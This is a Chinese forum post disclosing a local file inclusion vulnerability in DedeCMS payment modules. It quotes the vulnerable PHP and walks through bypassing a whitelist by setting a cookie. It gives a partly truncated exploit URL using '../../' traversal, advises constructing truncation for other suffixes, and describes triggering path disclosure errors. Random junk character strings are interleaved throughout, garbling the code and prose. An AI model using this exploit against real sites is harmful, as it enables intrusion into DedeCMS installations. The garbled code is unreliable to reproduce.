晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
- A6 {3 k# T4 Q& Y
" W. l7 j. Q4 t出现漏洞的两个文件为:
* K2 o7 M4 d; j7 u( n) } j# bInclude/payment/alipay.php S, X N" Z9 J& R; y) x
Include/payment/yeepay.php9 `3 W" \# Q0 f: n
漏洞均出现在respond方法里,估计这两个文件是临时工写的。% U# r$ n& J M8 e; ^+ y
2 ^. g3 A" L: O" R/ `" W. i. y1 l
Include/payment/alipay.php0 a6 _" B2 Q' C( J- l* M
/ S7 Q1 E/ _; G) s7 g
......
" l& Q: n* V3 F# G: O" a( x) ? function respond()
7 Y- V$ _: q+ z3 h3 V) ` { H& S& q6 }0 I. f
if (!empty($_POST))5 U" N1 h8 w, a* U5 t
{
. S3 b+ n* J+ d2 P" l7 T0 ~ foreach($_POST as $key => $data)
) a' g, U6 g. X! _: L4 l7 t+ x {
1 `7 S/ q8 D) c $_GET[$key] = $data;$ K# S& `! H- I4 y0 m0 B1 ]% C0 U
}$ ?3 v" n0 e! |, x3 a
}7 f6 U6 l( ~9 I& l) M
/* 引入配置文件 */
& i) s8 F* P: z# B( f( x, z require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
7 }# V% }2 G+ {...... 8 o: D1 T% H; |/ J2 U' _
$ P* T/ J/ X6 O& w6 G
) G4 u' J! q! v% B大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
0 y; M9 r+ R8 v' \; \$ m k3 m2 Q$ e8 r6 R
Include/payment/yeepay.php i: H5 t5 S: |" M/ F
* n) T: C9 S7 v1 |* U7 D$ c
7 j D8 Y# |8 [+ _) A
2 V# _0 p% V* h4 @5 d) b5 B) O: f
......+ f& L4 x# h; f! B8 C
function respond()
% `0 }5 n7 @# u2 M5 X, U' W {
: n& }6 b6 O- R' C; N. C
6 n/ |: U6 z2 s2 d; n; H9 x( M /* 引入配置文件 */' c* w* Z* ~( n6 A* t
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
$ ?. s8 r) H- @9 q O/ ~ " g+ r; o c' n3 ?8 s4 q% M9 C9 ]
$p1_MerId = trim($payment['yp_account']);
7 x# K7 L8 q8 K* n8 @ $merchantKey = trim($payment['yp_key']);
0 D5 G0 w) n$ \8 u5 W! M...... 9 O# k- i# d& D
$ y+ o6 k& {! j4 c) I/ i I- R$ w5 }4 o* i
# I; F. b) q( G) f P: M$ T
. k& x6 D5 U- n5 e- I) v
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。: Z* T1 n2 x- U9 }
& x$ P8 r/ K" [* D5 n+ ]这两个方法在plus/carbuyaction.php文件调用。0 S7 P, d$ z$ T- v' _8 m: G5 k' x
- L) ^9 b: B+ A2 B8 j( j3 {; `9 T
plus/carbuyaction.php1 H/ T7 R5 j, p- t3 C: O
5 y8 L. N3 y! y z
......
) ]* b4 |8 k0 D} else if ($dopost == 'return') {" B4 i$ H- F# l0 P$ V: D
$write_list = array('alipay', 'bank', 'cod', 'yeepay');
8 p+ H- g+ M8 O& \" m if (in_array($code, $write_list))! Y0 b, i/ v2 @& f
{9 j9 U$ | S4 Q% \$ D6 D
require_once DEDEINC.'/payment/'.$code.'.php';
3 o7 g; A; W* ?, c $pay = new $code;
& D; |1 H3 X+ }& J# b $msg=$pay->respond();1 b! H0 \, }9 K- D, ^1 K& G: r9 h) @4 C
ShowMsg($msg, "javascript:;", 0, 3000);
: T2 `1 C7 {( q! J exit(); 6 {. n! u2 c* ~) O0 { ~3 M
} else {0 |1 s& e# @! s- _# h3 [" u
exit('Error:File Type Can\'t Recognized!');
* g% X" V; P. F' T. r }( f! x! V* w" J( B5 |; Q/ V% T( p
}
6 a2 [* p4 Y/ t3 p......
1 N0 W6 P/ {2 D3 h* } 9 @) K* s* h* q& R! J& s
" K, |. i* c x+ k5 H: ]9 T. a
) P* t. k' `0 k$ |7 T3 R/ z. j
: y; w( R" r) A: f 6 }' u W- c8 u' M) A, K
3 Q! q! n' G1 ^7 O4 ]1 d大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
& ? Z$ D! S: U( k& E所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。2 h: a, J0 ~( v; c+ U* I% }
% Z0 }' a' I$ [8 y
回到include/common.inc.php来看看他的机制。
. y% Q3 u* W4 j3 N; f1 a* ?+ O! F; t( Q* V( q \
3 Y) X4 l6 C! R1 l1 N% o! Z) [
4 m( \& s. o/ i. O/ L......# T6 h u- e% f+ c! Z7 Y
foreach(Array('_GET','_POST','_COOKIE') as $_request)( e) r7 F+ g! R( K0 x+ ~
{
# y0 s: S8 u, w+ p- ] foreach($$_request as $_k => $_v)
8 o- U( e( s1 b) L, |- v {
9 s4 E4 H0 Z9 } if($_k == 'nvarname') ${$_k} = $_v;
% P% ^. `& F2 r9 F; | else ${$_k} = _RunMagicQuotes($_v);
: ?: c" s$ ^' W! m( ? }
& d& G3 K* z3 p) f0 D6 P$ [}
; S! g2 a- k# \' m...... " L' s [% m1 \& n" T8 k
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:4 Y! d `. z& [" D
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |